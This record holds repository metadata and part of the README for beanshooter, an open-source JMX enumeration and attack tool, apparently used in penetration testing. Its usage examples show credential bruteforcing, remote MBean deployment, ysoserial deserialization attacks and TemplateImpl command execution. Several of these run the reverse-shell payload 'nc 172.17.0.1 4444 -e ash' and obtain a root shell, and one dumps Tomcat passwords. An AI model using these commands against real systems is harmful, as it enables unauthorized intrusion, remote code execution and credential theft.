{"id":13843297,"url":"https://github.com/qtc-de/beanshooter","last_synced_at":"2025-05-16T05:07:39.018Z","repository":{"id":37390320,"uuid":"219725252","full_name":"qtc-de/beanshooter","owner":"qtc-de","description":"JMX enumeration and attacking tool.","archived":false,"fork":false,"pushed_at":"2025-03-23T17:25:15.000Z","size":3162,"stargazers_count":428,"open_issues_count":8,"forks_count":45,"subscribers_count":8,"default_branch":"master","last_synced_at":"2025-04-08T15:13:26.665Z","etag":null,"topics":["cve-2016-3427","deserialization","java","jmx","jmxmp","mbean","mlet","sasl","ysoserial"],"latest_commit_sha":null,"homepage":"","language":"Java","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/qtc-de.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2019-11-05T11:08:05.000Z","updated_at":"2025-04-07T03:01:24.000Z","dependencies_parsed_at":"2023-02-18T22:15:36.253Z","dependency_job_id":"4b3c435e-b95e-414e-b79b-cfdce6e450a0","html_url":"https://github.com/qtc-de/beanshooter","commit_stats":{"total_commits":423,"total_committers":3,"mean_commits":141.0,"dds":"0.20094562647754133","last_synced_commit":"fd37fa78850a71b24c8322b85af43c56c0f5e46f"},"previous_names":[],"tags_count":11,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qtc-de%2Fbeanshooter","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qtc-de%2Fbeanshooter/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qtc-de%2Fbeanshooter/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qtc-de%2Fbeanshooter/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/qtc-de","download_url":"https://codeload.github.com/qtc-de/beanshooter/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":254471060,"owners_count":22076585,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cve-2016-3427","deserialization","java","jmx","jmxmp","mbean","mlet","sasl","ysoserial"],"created_at":"2024-08-04T17:01:58.940Z","updated_at":"2025-05-16T05:07:34.009Z","avatar_url":"https://github.com/qtc-de.png","language":"Java","funding_links":[],"categories":["Java"],"sub_categories":[],"readme":"### beanshooter\n\n----\n\n*beanshooter* is a *JMX* enumeration and attacking tool, which helps to identify common vulnerabilities on *JMX* endpoints.\n\n![](https://github.com/qtc-de/beanshooter/workflows/master%20maven%20CI/badge.svg?branch=master)\n![](https://github.com/qtc-de/beanshooter/workflows/develop%20maven%20CI/badge.svg?branch=develop)\n![](https://img.shields.io/badge/java-8%2b-blue)\n[![](https://img.shields.io/badge/build%20system-maven-blue)](https://maven.apache.org/)\n[![](https://img.shields.io/badge/version-4.1.0-blue)](https://github.com/qtc-de/beanshooter/releases)\n[![](https://img.shields.io/badge/license-GPL%20v3.0-blue)](https://github.com/qtc-de/beanshooter/blob/master/LICENSE)\n\n\nhttps://user-images.githubusercontent.com/49147108/183278179-4a5566a7-5af8-4ce8-a73d-1016876a36d5.mp4\n\n\n### Installation\n\n-----\n\n*beanshooter* is a *maven* project and installation should be straight forward. With [maven](https://maven.apache.org/) \ninstalled, just execute the following commands to create an executable ``.jar`` file:\n\n```console\n[qtc@devbox ~]$ git clone https://github.com/qtc-de/beanshooter\n[qtc@devbox ~]$ cd beanshooter\n[qtc@devbox ~]$ mvn package\n```\n\nYou can also use prebuild packages that are created for [each release](https://github.com/qtc-de/beanshooter/releases).\nPrebuild packages for the development branch are created automatically and can be found on the *GitHub*\n[actions page](https://github.com/qtc-de/beanshooter/actions). Also a prebuild docker image for running *beanshooter*\n[is available](#docker-image).\n\n*beanshooter* does not include *ysoserial* as a dependency. To enable *ysoserial* support, you need either specify the path\nto your ``ysoserial.jar`` file as additional argument (e.g. ``--yso /opt/ysoserial.jar``) or you change the\ndefault path within the [beanshooter configuration file](./beanshooter/config.properties) before building the project.\n\n*beanshooter* supports autocompletion for *bash*. To take advantage of autocompletion, you need to have the\n[completion-helpers](https://github.com/qtc-de/completion-helpers) project installed. If setup correctly, just\ncopying the [completion script](/resources/bash_completion.d/beanshooter) to your ``~/.bash_completion.d`` folder enables\nautocompletion.\n\n```console\n[qtc@devbox ~]$ cp resources/bash_completion.d/beanshooter ~/bash_completion.d/\n```\n\n\n### Table of Contents\n\n----\n\n- [Supported Operations](#supported-operations)\n  + [Basic Operations](#basic-operations)\n    - [attr](#attr)\n    - [brute](#brute)\n    - [deploy](#deploy)\n    - [enum](#enum)\n    - [info](#info)\n    - [invoke](#invoke)\n    - [jolokia](#jolokia)\n    - [list](#list)\n    - [model](#model)\n    - [serial](#serial)\n    - [stager](#stager)\n    - [standard](#standard)\n    - [undeploy](#undeploy)\n  + [MBean Operations](#mbean-operations)\n    - [generic](#generic-mbean-operations)\n      + [attr](#generic-attr)\n      + [info](#generic-info)\n      + [invoke](#generic-invoke)\n      + [stats](#generic-stats)\n      + [status](#generic-status)\n      + [export](#generic-export)\n      + [deploy](#generic-deploy)\n      + [undeploy](#generic-undeploy)\n    - [diagnostic](#diagnostic)\n      + [read](#diagnostic-read)\n      + [load](#diagnostic-load)\n      + [logfile](#diagnostic-logfile)\n      + [nolog](#diagnostic-nolog)\n      + [cmdline](#diagnostic-cmdline)\n      + [props](#diagnostic-props)\n    - [hotspot](#hotspot)\n      + [dump](#hotspot-dump)\n      + [list](#hotspot-list)\n      + [get](#hotspot-get)\n      + [set](#hotspot-set)\n    - [mlet](#mlet)\n      + [load](#mlet-load)\n    - [recorder](#recorder)\n      + [new](#recorder-new)\n      + [start](#recorder-start)\n      + [stop](#recorder-stop)\n      + [read](#recorder-read)\n      + [dump](#recorder-dump)\n    - [tomcat](#tomcat)\n      + [dump](#tomcat-dump)\n      + [list](#tomcat-list)\n      + [write](#tomcat-write)\n    - [tonka](#tonka)\n      + [exec](#tonka-exec)\n      + [execarray](#tonka-execarray)\n      + [shell](#tonka-shell)\n      + [upload](#tonka-upload)\n      + [download](#tonka-download)\n- [JMXMP](#jmxmp)\n- [Jolokia Support](#jolokia-support)\n- [Docker Image](#docker-image)\n- [Example Server](#example-server)\n\n\n### Supported Operations\n\n-----\n\nThe different *beanshooter* operations can be divided into two groups: *basic operations* and *MBean operations*. Whereas\n*basic operations* are used to perform general operations on a *JMX* endpoint, *MBean operations* target a specific *MBean*\nto interact with. For more details, check the usage examples in the following sections.\n\n```console\n[qtc@devbox ~]$ beanshooter -h\nusage: beanshooter [-h]   ...\n\nbeanshooter v3.0.0 - a JMX enumeration and attacking tool\n\npositional arguments:\n\n Basic Operations\n    attr                 set or get MBean attributes\n    brute                bruteforce JMX credentials\n    deploy               deploys the specified MBean on the JMX server\n    enum                 enumerate the JMX service for common vulnerabilities\n    info                 display method and attribute information on an MBean\n    invoke               invoke the specified method on the specified MBean\n    list                 list available MBEans on the remote MBean server\n    serial               perform a deserialization attack\n    stager               start a stager server to deliver MBeans\n    undeploy             undeploys the specified MBEAN from the JMX server\n\n MBean Operations\n    diagnostic           Diagnostic Command MBean\n    hotspot              HotSpot Diagnostic MBean\n    mlet                 default JMX bean that can be used to load additional beans dynamically\n    recorder             jfr Flight Recorder MBean\n    tomcat               tomcat MemoryUserDatabaseMBean used for user management\n    tonka                general purpose bean for executing commands and uploading or download files\n\nnamed arguments:\n  -h, --help             show this help message and exit\n```\n\n\n### Basic Operations\n\n---\n\nBasic operations are general purpose operations that can be performed on a JMX service. These are usually\noperations that do not target a specific MBean or that target an MBean with no builtin support by beanshooter.\n\n#### Attr\n\nThe `attr` action can be used to get or set attributes on a specified *MBean*. To obtain available attributes,\nthe `info` action should be used:\n\n```console\n[qtc@devbox ~]$ beanshooter info 172.17.0.2 9010\n...\n[+] MBean Class: sun.management.MemoryImpl\n[+] ObjectName: java.lang:type=Memory\n[+]\n[+]     Attributes:\n[+]         Verbose (type: boolean , writable: true)\n[+]         ObjectPendingFinalizationCount (type: int , writable: false)\n[+]         HeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)\n[+]         NonHeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)\n[+]         ObjectName (type: javax.management.ObjectName , writable: false)\n[+]\n[+]     Operations:\n[+]         void gc()\n```\n\nWhen just the attribute name is specified, *beanshooter* obtains and displays the current attribute value:\n\n```console\n[qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose\nfalse\n```\n\nWhen an additional value is specified, *beanshooter* attempts to set the corresponding attribute. For attributes\nthat have a different type than *String*, specifying the attribute type using the `--type` option is required:\n\n```console\n[qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose true --type boolean\n[qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose\ntrue\n```\n\n#### Brute\n\nThe `brute` action performs a bruteforce attack on a password protected *JMX* service. When running with no additional\noptional arguments, *beanshooter* users a builtin wordlist with a few common username-password combinations. For more\ndedicated attacks you should use the `--username-file` and `--password-file` options to specify more exhaustive wordlists.\n\n```console\n[qtc@devbox ~]$ beanshooter brute 172.17.0.2 1090\n[+] Reading wordlists for the brute action.\n[+] \tReading credentials from internal wordlist.\n[+]\n[+] Starting bruteforce attack with 10 credentials.\n[+]\n[+] \tFound valid credentials: admin:admin\n[+] \t[10 / 10] [########################################] 100%\n[+]\n[+] done.\n```\n\n#### Deploy\n\nThe `deploy` action can be used to deploy an *MBean* on a *JMX* service. This action **should not** be used to deploy *MBeans* with\ndefault support like e.g. the *TonkaBean*. Deploying *MBeans* with default support should be done through the corresponding\n[MBean operations](#mbean-operations).\n\nWhen the *MBean* you want to deploy is already known to the *JMX* service, it is sufficient to specify the class name of the implementing\n*MBean* class and the desired `ObjectName`:\n\n```console\n[qtc@devbox ~]$ beanshooter deploy 172.17.0.2 9010 javax.management.monitor.StringMonitor qtc.test:type=Monitor\n[+] Starting MBean deployment.\n[+]\n[+] \tDeplyoing MBean: StringMonitor\n[+] \tMBean with object name qtc.test:type=Monitor was successfully deployed.\n```\n\nWhen the *MBean* class is not known to the *JMX* service, you can use the `--jar-file` and `--stager-url` options to provide an implementation:\n\n```console\n[qtc@devbox ~]$ beanshooter deploy 172.17.0.2 9010 non.existing.example.ExampleBean qtc.test:type=Example --jar-file exampleBean.jar --stager-url http://172.17.0.1:8000\n[+] Starting MBean deployment.\n[+]\n[+] \tDeplyoing MBean: ExampleBean\n[+]\n[+] \t\tMBean class is not known to the server.\n[+] \t\tStarting MBean deployment.\n[+]\n[+] \t\t\tDeplyoing MBean: MLet\n[+] \t\t\tMBean with object name DefaultDomain:type=MLet was successfully deployed.\n[+]\n[+] \t\tLoading MBean from http://172.17.0.1:8000\n[+]\n[+] \t\t\tCreating HTTP server on: 172.17.0.1:8000\n[+] \t\t\t\tCreating MLetHandler for endpoint: /\n[+] \t\t\t\tCreating JarHandler for endpoint: /c65c3cdc908348d8bd9a22b8a2bf8be3\n[+] \t\t\t\tStarting HTTP server... \n[+] \t\t\t\t\n[+] \t\t\tIncoming request from: iinsecure.example\n[+] \t\t\tRequested resource: /\n[+] \t\t\tSending mlet:\n[+]\n[+] \t\t\t\tClass:     non.existing.example.ExampleBean\n[+] \t\t\t\tArchive:   c65c3cdc908348d8bd9a22b8a2bf8be3\n[+] \t\t\t\tObject:    qtc.test:type=Example\n[+] \t\t\t\tCodebase:  http://172.17.0.1:8000\n[+]\n[+] \t\t\tIncoming request from: iinsecure.example\n[+] \t\t\tRequested resource: /c65c3cdc908348d8bd9a22b8a2bf8be3\n[+] \t\t\tSending jar file with md5sum: c4d8f40d1c1ac7f3cf7582092802a484\n[+]\n[+] \tMBean with object name qtc.test:type=Example was successfully deployed.\n```\n\n#### Enum\n\nThe `enum` action enumerates some configuration details on a *JMX* endpoint. It always checks whether the\n*JMX* endpoints requires authentication and whether it allows pre authenticated arbitrary deserialization.\n\n```console\n[qtc@devbox ~]$ beanshooter enum 172.17.0.2 1090\n[+] Checking for unauthorized access:\n[+]\n[+] \t- Remote MBean server requires authentication.\n[+] \t  Vulnerability Status: Non Vulnerable\n[+]\n[+] Checking pre-auth deserialization behavior:\n[+]\n[+] \t- Remote MBeanServer accepted the payload class.\n[+] \t  Configuration Status: Non Default\n```\n\nWhen authentication is not required, or when valid credentials were specified, the `enum` action also attempts to\nenumerate some further information from the *JMX* endpoint. This includes a list of non default *MBeans* and\ne.g. the user accounts registered on a *Apache tomcat* server:\n\n```console\n[qtc@devbox ~]$ beanshooter enum 172.17.0.2 1090\n[+] Checking for unauthorized access:\n[+]\n[+] \t- Remote MBean server does not require authentication.\n[+] \t  Vulnerability Status: Vulnerable\n[+]\n[+] Checking pre-auth deserialization behavior:\n[+]\n[+] \t- Remote MBeanServer rejected the payload class.\n[+] \t  Vulnerability Status: Non Vulnerable\n[+]\n[+] Checking available MBeans:\n[+]\n[+] \t- 57 MBeans are currently registred on the MBean server.\n[+] \t  Listing 39 non default MBeans:\n[+] \t  - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,name=AccessLogValve)\n[+] \t  - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=GlobalRequestProcessor,name=\"http-nio-8080\")\n[...]\n[+]\n[+] Enumerating tomcat users:\n[+]\n[+] \t- Listing 3 tomcat users:\n[+]\n[+] \t\t----------------------------------------\n[+] \t\tUsername:  manager\n[+] \t\tPassword:  P@55w0rD#\n[+] \t\tRoles:\n[+] \t\t\t   Users:type=Role,rolename=\"manager-gui\",database=UserDatabase\n[+] \t\t\t   Users:type=Role,rolename=\"manager-script\",database=UserDatabase\n[+] \t\t\t   Users:type=Role,rolename=\"manager-jmx\",database=UserDatabase\n[+] \t\t\t   Users:type=Role,rolename=\"manager-status\",database=UserDatabase\n[+]\n[+] \t\t----------------------------------------\n[+] \t\tUsername:  admin\n[+] \t\tPassword:  s3cr3T!$\n[+] \t\tRoles:\n[+] \t\t\t   Users:type=Role,rolename=\"admin-gui\",database=UserDatabase\n[+] \t\t\t   Users:type=Role,rolename=\"admin-script\",database=UserDatabase\n[...]\n```\n\nWhen invoking the `enum` action on a *SASL* protected endpoint, *beanshooter* attempts to enumerate the *SASL* profile\nthat is configured for the server. This is only possible to a certain extend and the *TLS* configuration of the server\ncannot be enumerated. If the *SASL* profile identified by *beanshooter* does not work, you should always retry with/without\nthe `--ssl` option:\n\n```console\n[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4447 --jmxmp\n[+] Checking servers SASL configuration:\n[+]\n[+] \t- Remote JMXMP server uses SASL/DIGEST-MD5 SASL profile.\n[+] \t  Credentials are requried and the following hostname must be used: iinsecure.example\n[+] \t  Notice: TLS setting cannot be enumerated and --ssl may be required.\n[+] \t  Vulnerability Status: Non Vulnerable\n...\n```\n\n#### Info\n\nThe `info` action can be used to obtain method and attribute information of *MBeans* that are available on the *MBean server*.\nWhen invoked without additional arguments, method and attribute information of all available *MBeans* is printed. When specifying\nan additional *ObjectName*, only method and attribute information of the specified *MBean* is printed:\n\n```console\n[qtc@devbox ~]$ beanshooter info 172.17.0.2 9010 java.lang:type=Memory\n[+] MBean Class: sun.management.MemoryImpl\n[+] ObjectName: java.lang:type=Memory\n[+]\n[+] \tAttributes:\n[+] \t\tVerbose (type: boolean , writable: true)\n[+] \t\tObjectPendingFinalizationCount (type: int , writable: false)\n[+] \t\tHeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)\n[+] \t\tNonHeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)\n[+] \t\tObjectName (type: javax.management.ObjectName , writable: false)\n[+]\n[+] \tOperations:\n[+] \t\tvoid gc()\n```\n\n#### Invoke\n\nThe `invoke` action can be used to invoke an arbitrary method on an *MBean* that has already been deployed on a *JMX* endpoint.\nApart from the endpoint, the `invoke` action requires the `ObjectName` of the targeted *MBean* and the method signature you\nwant to invoke. If the specified method expects arguments, these also have to be specified. The following listing shows an example,\nof an argumentless method invocation, where the `vmVersion()` method from the `DiagnosticCommand` *MBean* is invoked:\n\n```console\n[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'vmVersion()'\nOpenJDK 64-Bit Server VM version 11.0.14.1+1\nJDK 11.0.14.1\n```\n\nWhen invoking a method that requires parameters, the specified *beanshooter* arguments are evaluated as *Java code*. Simple argument\ntypes like integers or strings can just be passed by specifying their corresponding value. Complex argument types can be constructed\nas you would do it in *Java* (e.g. `'new java.util.HashMap()'`). The following listing shows an example, where the `help(String[] args)`\nmethod is invoked on the `DiagnosticCommand` *MBean*:\n\n```console\n[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'help(String[] args)' 'new String[] { \"Compiler.directives_add\" }'\nCompiler.directives_add\nAdd compiler directives from file.\n\nImpact: Low\n\nPermission: java.lang.management.ManagementPermission(monitor)\n\nSyntax : Compiler.directives_add  \u003cfilename\u003e\n\nArguments:\n    filename :  Name of the directives file (STRING, no default value)\n```\n\nFor more complex argument types that require some initialization, you can use *beanshooters PluginSystem* and define a custom\nclass that implements the [IArgumentProvider Interface](beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java).\n\n\n#### Jolokia\n\nAs outlined in *beanshooters* [Jolokia documentation](/docs/jolokia.md), almost all *beanshooter* actions can be used together\nwith the `--jolokia` switch to target *Jolokia* based *JMX* endpoints. Apart from this generic support for the *Jolokia JMX*\nadapter, *beanshooter* supports one dedicated `jolokia` action. This action can be used to force an outbound connection of a\n*Jolokia* agent running with proxy mode enabled:\n\n```console\n[qtc@devbox ~]$ beanshooter jolokia 172.17.0.2 8080 172.17.0.1 4444 --username manager --password admin --ldap\n[+] Attempting to trigger outboud connection to 172.17.0.1:4444\n[+] Using proxy service URL: service:jmx:Rmi:///jndi/ldap://172.17.0.1:4444/beanshooter\n...\n\n[qtc@devbox ~]$ nc -vlp 4444\nNcat: Version 7.93 ( https://nmap.org/ncat )\nNcat: Listening on :::4444\nNcat: Listening on 0.0.0.0:4444\nNcat: Connection from 172.17.0.2.\nNcat: Connection from 172.17.0.2:60052.\n0\n```\n\nThe same result could be achieved by invoking a regular *beanshooter* operation like `list` and using the `--jolokia-proxy service:jmx:...`\noption. The `jolokia` action was added as a shortcut so you do not need to remember the *JNDI* syntax. When using the\n`jolokia` action, the `--jolokia` option is assumed by default.\n\n\n#### List\n\nThe `list` action prints a list of all registered *MBeans* on the remote *JMX* service:\n\n```console\n[qtc@devbox ~]$ beanshooter list 172.17.0.2 9010\n[+] Available MBeans:\n[+]\n[+] \t- sun.management.MemoryManagerImpl (java.lang:name=Metaspace Manager,type=MemoryManager)\n[+] \t- sun.management.MemoryPoolImpl (java.lang:name=Metaspace,type=MemoryPool)\n[+] \t- javax.management.MBeanServerDelegate (JMImplementation:type=MBeanServerDelegate)\n[...]\n```\n\n#### Model\n\nThe `model` action is one of the most powerful *beanshooter* operations and implements a technique\nidentified by [Markus Wulftange](https://twitter.com/mwulftange) that allows you to invoke arbitrary\n*public* and *static* Java methods. Moreover, *public* object methods can also be invoked on a user\ncreated object instance. The only requirements are that the utilized method arguments and the provided\nobject instance (for *non static* methods) are serializable.\n\nThe following listing shows an example usage, where an `File` object is provided as object instance\nand the `String[] list()` operation is invoked on it:\n\n```console\n[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File(\"/\")'\n[+] Deploying RequiredModelMBean supporting methods from java.io.File\n[+]\n[+] \tDeplyoing MBean: RequiredModelMBean\n[+] \tMBean with object name de.qtc.beanshooter:version=1 was successfully deployed.\n[+]\n[+] \tAvailable Methods:\n[+] \t  - java.lang.String toString()\n[+] \t  - int hashCode()\n[+] \t  - [Ljava.lang.String; list()\n[...]\n[+] \t  - void setManagedResource(java.lang.Object, java.lang.String)\n[+]\n[+] \tSetting managed resource to: new java.io.File(\"/\")\n[+] \tManaged resource was set successfully.\n[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'\nroot\nvar\nopt\nsrv\nbin\nmnt\ndev\nproc\netc\nusr\nlib\ntmp\nhome\nrun\nmedia\nsbin\nsys\n.dockerenv\n```\n\nThe `setManagedResource` method is always available and can be used to change the object instance to operate on:\n\n```console\n[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'setManagedResource(Object a, String b)' 'new java.io.File(\"/etc\")' objectReference\n[+] Call was successful.\n[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'\npasswd\nshells\nopt\nmodules\nmtab\nissue\ninittab\nhosts\n...\n```\n\nWhen invoking *static* methods, an object instance is also required. However, the actual class of the object instance does\nnot matter. E.g. if you want to invoke `getProperties()` from `java.lang.System`, you could also use a simple `String`\nas object instance. Only the specified class name matters in this case:\n\n```console\n[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.lang.System '\"does not matter\"'\n[+] Deploying RequiredModelMBean supporting methods from java.lang.System\n[+]\n[+] \tDeplyoing MBean: RequiredModelMBean\n[+] \tMBean with object name de.qtc.beanshooter:version=1 was successfully deployed.\n[+]\n[+] \tAvailable Methods:\n[+] \t  - void runFinalization()\n[+] \t  - java.lang.String setProperty(java.lang.String, java.lang.String)\n[+] \t  - java.lang.String getProperty(java.lang.String)\n[+] \t  - java.lang.String getProperty(java.lang.String, java.lang.String)\n[+] \t  - long currentTimeMillis()\n[+] \t  - long nanoTime()\n[+] \t  - java.lang.SecurityManager getSecurityManager()\n[+] \t  - void loadLibrary(java.lang.String)\n[+] \t  - java.lang.String mapLibraryName(java.lang.String)\n[+] \t  - void load(java.lang.String)\n[+] \t  - java.lang.String lineSeparator()\n[+] \t  - java.io.Console console()\n[+] \t  - java.nio.channels.Channel inheritedChannel()\n[+] \t  - java.util.Properties getProperties()\n[+] \t  - void setProperties(java.util.Properties)\n[+] \t  - java.lang.String clearProperty(java.lang.String)\n[+] \t  - java.util.Map getenv()\n[+] \t  - java.lang.String getenv(java.lang.String)\n[+] \t  - void gc()\n[+] \t  - void wait()\n[+] \t  - java.lang.String toString()\n[+] \t  - int hashCode()\n[+] \t  - java.lang.Class getClass()\n[+] \t  - void notify()\n[+] \t  - void notifyAll()\n[+] \t  - void setManagedResource(java.lang.Object, java.lang.String)\n[+]\n[+] \tSetting managed resource to: \"does not matter\"\n[+] \tManaged resource was set successfully.\n[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'getProperties()'\njava.vm.info\n  --\u003e mixed mode\njava.runtime.version\n  --\u003e 11.0.18+10-alpine-r0\nsun.io.unicode.encoding\n  --\u003e UnicodeLittle\n...\n```\n\nThe `model` action uses reflection to determine available methods on the specified class. If you do not\nhave the class locally available, you can still use it by specifying available methods via the `--signature`\nor `--signature-file` options. That being said, in order to get access to non default classes you need to\nprovide an object instance that is also not a default class (not present in `rt.jar`). This is required, as\nthe target class needs to be loaded by the same *ClassLoader* as the provided object instance. For *beanshooters*\n*example-server*, `javax.management.remote.message.VersionMessage` is suitable, as this class is present\nin `opendmk_jmxremote_optional_jar` which is present in the client as well as in the server. We can use\nthis as an object instance to invoke methods on other custom classes, like `de.qtc.beanshooter.server.utils.Logger`:\n\n```console\n[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=0 de.qtc.beanshooter.server.utils.Logger 'new javax.management.remote.message.VersionMessage(\"test\")' --signature 'String getIndent()'\n[+] Deploying RequiredModelMBean supporting user specified methods\n[+]\n[+] \tDeplyoing MBean: RequiredModelMBean\n[+] \tMBean with object name de.qtc.beanshooter:version=0 was successfully deployed.\n[+]\n[+] \tAvailable Methods:\n[+] \t  - String getIndent()\n[+] \t  - void setManagedResource(java.lang.Object, java.lang.String)\n[+]\n[+] \tSetting managed resource to: new javax.management.remote.message.VersionMessage(\"test\")\n[+] \tManaged resource was set successfully.\n[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=0 --signature 'String getIndent()'\nEMPTY OUTPUT - Just an Indent ;)\n```\n\nIf you want to know more about the technique that is implemented by the `model` action, I highly\nrecommend this [blog post](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html)\nby [CODE WHITE](https://twitter.com/codewhitesec) which explains it in great detail.\n\n\n#### Serial\n\nThe `serial` action can be used to perform deserialization attacks on a *JMX* endpoint. By default, the action\nattempts post authenticated deserialization attacks. For this to work, you target *JMX* service needs either to\nallow unauthenticated access or you need valid credentials:\n\n```console\n[qtc@devbox ~]$ beanshooter serial 172.17.0.2 1090 CommonsCollections6 \"nc 172.17.0.1 4444 -e ash\" --username admin --password admin\n[+] Attemting deserialization attack on JMX endpoint.\n[+]\n[+] \tCreating ysoserial payload... done.\n[+] \tMBeanServer attempted to deserialize the DeserializationCanary class.\n[+] \tDeserialization attack was probably successful.\n\n[qtc@devbox ~]$ nc -vlp 4444\n[...]\nid\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n*JMX* services can also be vulnerable to pre authenticated deserialization attacks. To abuse this, you can use the `--preauth` switch:\n\n```console\n[qtc@devbox ~]$ beanshooter serial 172.17.0.2 1090 CommonsCollections6 \"nc 172.17.0.1 4444 -e ash\" --preauth\n[+] Attemting deserialization attack on JMX endpoint.\n[+]\n[+] \tCreating ysoserial payload... done.\n[+] \tMBeanServer attempted to deserialize the DeserializationCanary class.\n[+] \tDeserialization attack was probably successful.\n\n[qtc@devbox ~]$ nc -vlp 4444\n[...]\nid\nuid=0(root) gid=0(root) groups=0(root)\n```\n\nAgainst *JMXMP* endpoints, preauthenticated deserialization is usually possible. Unfortunately, there is no way to enumerate this properly\nduring the `enum` action. If you encounter a *JMXMP* endpoint, you should just give it a try.\n\n#### Stager\n\nThe `stager` action starts a stager server that can be used to deliver *MBeans*. Creating a stager server\nfor *MBean* delivery is normally done automatically when using *beanshooters* `deploy` action. However,\nsometimes it is required to use a standalone server. When using the `stager` action, you can either specify\nthe name of a builtin *MBean* to deliver (e.g. `tonka`) or the `custom` keyword. If `custom` was specified,\nthe `--class-name`, `--object-name` and `--jar-file` options are required.\n\n```console\n[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url http://172.17.0.1:8888 --no-stager\n[qtc@devbox ~]$ beanshooter stager 172.17.0.1 8888 tonka\n[+] Creating HTTP server on: 172.17.0.1:8888\n[+] Creating MLetHandler for endpoint: /\n[+] Creating JarHandler for endpoint: /93691b8bae4143f087f7a3123641b20d\n[+] Starting HTTP server.\n[+] \n[+] Press Enter to stop listening.\n[+]\n[+] Incoming request from: iinsecure.example\n[+] Requested resource: /\n[+] Sending mlet:\n[+]\n[+] \tClass:     de.qtc.beanshooter.tonkabean.TonkaBean\n[+] \tArchive:   93691b8bae4143f087f7a3123641b20d\n[+] \tObject:    MLetTonkaBean:name=TonkaBean,id=1\n[+] \tCodebase:  http://172.17.0.1:8888\n[+]\n[+] Incoming request from: iinsecure.example\n[+] Requested resource: /93691b8bae4143f087f7a3123641b20d\n[+] Sending jar file with md5sum: 6568ffb2934cb978dbd141848b8b128a\n```\n\n#### Standard\n\nThe `standard` action deploys a *StandardMBean* that implements the `TemplateImpl` class to achieve\ndifferent targets. This technique was identified by [Markus Wulftange](https://twitter.com/mwulftange)\nand *beanshooter* implements it to allow command execution, file upload and *TonkaBean* deployment.\n\n```console\n[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash'\n[+] Creating a TemplateImpl payload object to abuse StandardMBean\n[+]\n[+] \tDeplyoing MBean: StandardMBean\n[+] \tMBean with object name de.qtc.beanshooter:standard=3873612041699 was successfully deployed.\n[+]\n[+] \tCaught NullPointerException while invoking the newTransformer action.\n[+] \tThis is expected bahavior and the attack most likely worked :)\n[+]\n[+] \tRemoving MBean with ObjectName de.qtc.beanshooter:standard=3873612041699 from the MBeanServer.\n[+] \tMBean was successfully removed.\n...\n[qtc@devbox ~]$ nc -vlp 4444\nNcat: Version 7.93 ( https://nmap.org/ncat )\nNcat: Listening on :::4444\nNcat: Listening on 0.0.0.0:4444\nNcat: Connection from 172.17.0.2.\nNcat: Connection from 172.17.0.2:40033.\nid\nuid=0(root) gid=0(root) groups=0(root)\n```\n\nCommand execution via the `standard` action is blind and you do not receive the output of your command.\nMoreover, by default your command is passed to `Runtime.exec(String str)`, which does not support special\nshell features. If you want to use shell features, use the `--exec-array` option and specify your command\nlike this: `'sh -c echo \"my cool command\" \u003e /tmp/test.txt'`. With `--exec-array`, *beanshooter* splits the\nspecified command in three parts and passes them to `Runtime.exec(String[] arr)`. However, it is generally\nrecommended to use the *TonkaBean* deployment for executing commands:\n\n```console\n[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 tonka\n[+] 